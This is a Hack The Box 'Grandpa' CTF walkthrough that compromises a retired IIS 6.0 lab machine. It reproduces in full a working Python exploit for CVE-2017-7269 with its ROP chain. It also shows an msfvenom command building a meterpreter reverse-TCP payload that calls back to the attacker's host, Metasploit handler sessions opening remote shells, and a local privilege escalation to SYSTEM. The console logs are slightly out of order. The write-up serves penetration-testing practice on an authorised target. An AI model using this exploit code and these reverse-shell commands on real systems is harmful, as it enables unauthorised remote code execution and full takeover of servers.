Today we are going to solve another CTF challenge “Grandpa” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab therefore we have chosen retried Grandpa Lab.
Level: Beginners
Task: find user.txt and root.txt file in victim’s machine.
Since these labs are online available therefore they have static IP and IP of Grandpa is 10.10.10.14 so let’s begin with nmap port enumeration.
root@kali:~/htb/grandpa# nmap -sC -sV 10.10.10.14 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-17 15:08 CET Nmap scan report for 10.10.10.14 Host is up (0.027s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 6.0 | http-methods: |_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH |_http-server-header: Microsoft-IIS/6.0 |_http-title: Under Construction | http-webdav-scan: | Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH | Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK | Server Type: Microsoft-IIS/6.0 | WebDAV type: Unkown |_ Server Date: Thu, 17 Jan 2019 14:06:03 GMT Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 29.59 seconds
Microsoft IIS httpd 6.0
Details
- Vulnerability: Microsoft IIS WebDav ‘ScStoragePathFromUrl’ Remote Buffer Overflow
- CVE: CVE-2017-7269
- Disclosure date: March 31 2017
- Affected product: Microsoft Windows Server 2003 R2 SP2 x86
Shellcode
#!/usr/bin/python # -*- coding: utf-8 -*- # # An implementation of NSA's ExplodingCan exploit # Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow # CVE-2017-7269 # # by @danigargu # # import re import sys import socket import requests import httplib import string import time import random import sys from urlparse import urlparse from struct import pack REQUEST_TIMEOUT = 10 DEFAULT_IIS_PATH_SIZE = len("C:\Inetpub\wwwroot") def decode(data): return data.decode("utf-8").encode("utf-16le") def encode(data): return data.decode("utf-16le").encode("utf-8") p = lambda x : pack("<L", x) # pack def rand_text_alpha(size): chars = string.ascii_uppercase + string.ascii_lowercase + string.digits return ''.join(random.choice(chars) for _ in range(size)) def supports_webdav(headers): if "DAV" in headers.get('MS-Author-Via','') or \ headers.get('DASL','') == '<DAV:sql>' or \ re.match('^[\d]+(,\s+[\d]+)?$', headers.get('DAV','')) or \ "PROPFIND" in headers.get('Public','') or \ "PROPFIND" in headers.get('Allow',''): return True return False def check(url): r = requests.request('OPTIONS', url, timeout=REQUEST_TIMEOUT) if r.status_code != 200: print("[-] Status code: %d" % r.status_code) return False print("[*] Server found: %s" % r.headers['Server']) if "IIS/6.0" in r.headers['Server'] and supports_webdav(r.headers): return True return False def find_iis_path_len(url, min_len=3, max_len=70, delay=0): idx = 0 junk = 60 found = False iis_path_len = None cur_size = max_len assert max_len <= 130, "Max length exceeded (130)" init_lenght = 130-max_len while not found and cur_size > min_len: cur_size = (max_len-idx) to_brute = rand_text_alpha(init_lenght+idx) base_query = "<http://localhost/%s> (Not <locktoken:write1>) <http://localhost/>" % to_brute sys.stdout.write("[*] Trying with size: %d\r" % cur_size) sys.stdout.flush() try: r = requests.request('PROPFIND', url, timeout=REQUEST_TIMEOUT, headers={ 'Content-Length': '0', 'Host': 'localhost', 'If': base_query }) if r.status_code == 500: iis_path_len = (max_len-idx) found = True idx += 1 time.sleep(delay) # requests.exceptions.ReadTimeout except requests.exceptions.ConnectionError as e: print("[-] ERROR: %s" % e.message) break if iis_path_len and iis_path_len == max_len: iis_path_len = None return iis_path_len def make_payload(p_url, iis_path_len, shellcode): url = p_url.geturl() payload = "PROPFIND / HTTP/1.1\r\n" payload += "Host: %s\r\n" % p_url.netloc payload += "Content-Length: 0\r\n" payload += "If: <%s/a" % url junk = (128-iis_path_len) * 2 p1 = rand_text_alpha(junk) # Varies the length given its IIS physical path p1 += p(0x02020202) p1 += p(0x680312c0) # str pointer to .data httpext.dll p1 += rand_text_alpha(24) p1 += p(0x680313c0) # destination pointer used with memcpy p1 += rand_text_alpha(12) p1 += p(0x680313c0) # destination pointer used with memcpy payload += encode(p1) payload += "> (Not <locktoken:write1>) " payload += "<%s/b" % url p2 = rand_text_alpha(junk - 4) p2 += p(0x680313c0) """ Stack adjust: rsaenh.dll:68006E4F pop esi rsaenh.dll:68006E50 pop ebp rsaenh.dll:68006E51 retn 20h """ p2 += p(0x68006e4f) # StackAdjust p2 += p(0x68006e4f) # StackAdjust p2 += rand_text_alpha(4) p2 += p(0x680313c0) p2 += p(0x680313c0) p2 += rand_text_alpha(12) """ rsaenh.dll:68016082 mov esp, ecx rsaenh.dll:68016084 mov ecx, [eax] rsaenh.dll:68016086 mov eax, [eax+4] rsaenh.dll:68016089 push eax rsaenh.dll:6801608A retn """ p2 += p(0x68016082) p2 += rand_text_alpha(12) p2 += p(0x6800b113) # push 0x40 - PAGE_EXECUTE_READWRITE p2 += rand_text_alpha(4) p2 += p(0x680124e3) # JMP [EBX] p2 += p(0x68031460) # shellcode address p2 += p(0x7ffe0300) # ntdll!KiFastSystemCall address p2 += p(0xffffffff) p2 += p(0x680313c0) p2 += p(0x6803046e) p2 += rand_text_alpha(4) p2 += p(0x68031434) p2 += p(0x680129e7) # leave; ret """ rsaenh.dll:68009391 pop eax rsaenh.dll:68009392 pop ebp rsaenh.dll:68009393 retn 4 """ p2 += p(0x68009391) p2 += rand_text_alpha(16) p2 += p(0x6803141c) """ rsaenh.dll:68006E05 lea esp, [ebp-20h] rsaenh.dll:68006E08 pop edi rsaenh.dll:68006E09 pop esi rsaenh.dll:68006E0A pop ebx rsaenh.dll:68006E0B leave rsaenh.dll:68006E0C retn 24h """ p2 += p(0x68006e05) p2 += rand_text_alpha(12) p2 += p(0x68008246) # EAX val address p2 += rand_text_alpha(4) """ Load 0x8F in EAX: NtProtectVirtualMemory syscall (Windows 2003 Server) rsaenh.dll:68021DAA mov eax, [eax+110h] rsaenh.dll:68021DB0 pop ebp rsaenh.dll:68021DB1 retn 4 """ p2 += p(0x68021daa) p2 += rand_text_alpha(4) p2 += p(0x680313f8) p2 += p(0x680129e7) # leave; ret payload += encode(p2) """ stack restore: 90 nop 31db xor ebx, ebx b308 mov bl, 8 648b23 mov esp, dword fs:[ebx] 6681c40008 add sp, 0x800 90 nop """ payload += encode("9031DBB308648B236681C4000890".decode("hex")) payload += encode(shellcode) payload += ">\r\n\r\n" return payload def send_exploit(p_url, data): host = p_url.hostname port = p_url.port if p_url.port else 80 vulnerable = False recv_data = None try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(50) sock.connect((host, port)) sock.send(data) recv_data = sock.recv(1024) sock.close() except socket.timeout: print("[*] Socket timeout") vulnerable = True except socket.error as e: if e.errno == 54: print("[*] Connection reset by peer") vulnerable = True return (vulnerable, recv_data) def main(): if len(sys.argv) < 3: print("Usage: %s <url> <shellcode-file>" % sys.argv[0]) return try: url = sys.argv[1] sc_file = sys.argv[2] p_url = urlparse(url) shellcode = None with open(sc_file, 'rb') as f: shellcode = f.read() print("[*] Using URL: %s" % url) if not check(url): print("[-] Server not vulnerable") return iis_path_len = find_iis_path_len(url) if not iis_path_len: print("[-] Unable to determine IIS path size") return print("[*] Found IIS path size: %d" % iis_path_len) if iis_path_len == DEFAULT_IIS_PATH_SIZE: print("[*] Default IIS path: C:\Inetpub\wwwroot") r = requests.request('PROPFIND', url, timeout=REQUEST_TIMEOUT) if r and r.status_code == 207: print("[*] WebDAV request: OK") payload = make_payload(p_url, iis_path_len, shellcode) print("[*] Payload len: %d" % len(payload)) print("[*] Sending payload...") vuln, recv_data = send_exploit(p_url, payload) if vuln: print("[+] The host is maybe vulnerable") if recv_data: print(recv_data) else: print("[-] Server did not respond correctly to WebDAV request") return except Exception as e: print("[-] %s" % e) if __name__ == '__main__': main()
The shellcode must be in alphanumeric format due to the limitations of the bug. For example we can use msfvenom
(metasploit) with the alpha_mixed
encoder.
root@kali:~/htb/grandpa# msfvenom -p windows/meterpreter/reverse_tcp -f raw -v sc -e x86/alpha_mixed LHOST=10.10.14.12 LPORT=4444 >shellcode
root@kali:~/htb/grandpa# python ExplodingCan.py http://10.10.10.14 shellcode [*] Using URL: http://10.10.10.14 [*] Server found: Microsoft-IIS/6.0 [*] Found IIS path size: 18 [*] Default IIS path: C:\Inetpub\wwwroot [*] WebDAV request: OK [*] Payload len: 2241 [*] Sending payload... [*] Socket timeout [+] The host is maybe vulnerable
.
msf > use multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 10.10.14.12 lhost => 10.10.14.12 msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 10.10.14.12:4444 [*] Sending stage (179779 bytes) to 10.10.10.14 [*] Meterpreter session 1 opened (10.10.14.12:4444 -> 10.10.10.14:1887) at 2019-01-17 14:44:00 +0100 meterpreter > shell Process 3016 created. Channel 1 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. c:\windows\system32\inetsrv>whoami whoami nt authority\network service
Terrific!! I have got unauthorized access of victims command shell through session 1 as shown above
Then I run command getuid for identify user ID and current process but it failed due to limited shell access we have in session 1 and now we need to privilege escalation.
For that background your current meterpreter shell and go for post exploitation
Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for further exploit. The exploits are recommended founded on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter.
c:\windows\system32\inetsrv>^Z Background channel 1? [y/N] y meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted: [-] Named Pipe Impersonation (In Memory/Admin) [-] Named Pipe Impersonation (Dropper/Admin) [-] Token Duplication (In Memory/Admin) meterpreter > meterpreter > CTRL-Z Background session 1? [y/N] msf exploit(multi/handler) > use post/multi/recon/local_exploit_suggester msf post(multi/recon/local_exploit_suggester) > set session 1 session => 1 msf post(multi/recon/local_exploit_suggester) > run *] 10.10.10.14 - Collecting local exploits for x86/windows... [*] 10.10.10.14 - 28 exploit checks are being tried... [+] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated. [+] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [+] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable. [+] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The target service is running, but could not be validated. [+] 10.10.10.14 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated. [+] 10.10.10.14 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable. [+] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. [*] Post module execution completed
Start a second listener
msf > use multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 10.10.14.12 lhost => 10.10.14.12 msf exploit(multi/handler) > set lport 4455 lport => 4455 msf exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.14.12:4455 [*] Sending stage (179779 bytes) to 10.10.10.14 [*] Meterpreter session 1 opened (10.10.14.12:4455 -> 10.10.10.14:1896) at 2019-01-17 15:30:34 +0100 meterpreter > meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >
At this time use pprFlattenRec Local Privilege Escalation module for making unauthorized access again but as privileged user.
msf post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ppr_flatten_rec msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.12 lhost => 10.10.14.12 msf exploit(windows/local/ppr_flatten_rec) > set lport 4455 lport => 4455 msf exploit(windows/local/ppr_flatten_rec) > run
meterpreter > getuid
msf exploit(windows/local/ppr_flatten_rec) > run [-] Handler failed to bind to 10.10.14.12:4455:- - [-] Handler failed to bind to 0.0.0.0:4455:- - [*] Launching notepad to host the exploit... [+] Process 1776 launched. [*] Reflectively injecting the exploit DLL into 1776... [*] Injecting exploit into 1776 ... [*] Exploit injected. Injecting payload into 1776... [*] Payload injected. Executing exploit... [*] Exploit thread executing (can take a while to run), waiting 30 sec [*] Sending stage (179779 bytes) to 10.10.10.14 [*] Meterpreter session 2 opened (10.10.14.12:4455 -> 10.10.10.14:1896) at 2019-01-17 15:30:34 +0100 ...
Now let’s complete this task my searching user.txt and root.txt flag which is hidden somewhere inside a directory.
meterpreter > shell
Great!! We got our user flag
Inside c:\Document and Setting\Administrator \Desktop I found root.txt file and used type “file name” command for reading this file.
Great!! We got our root flag
Author: Puckiestyle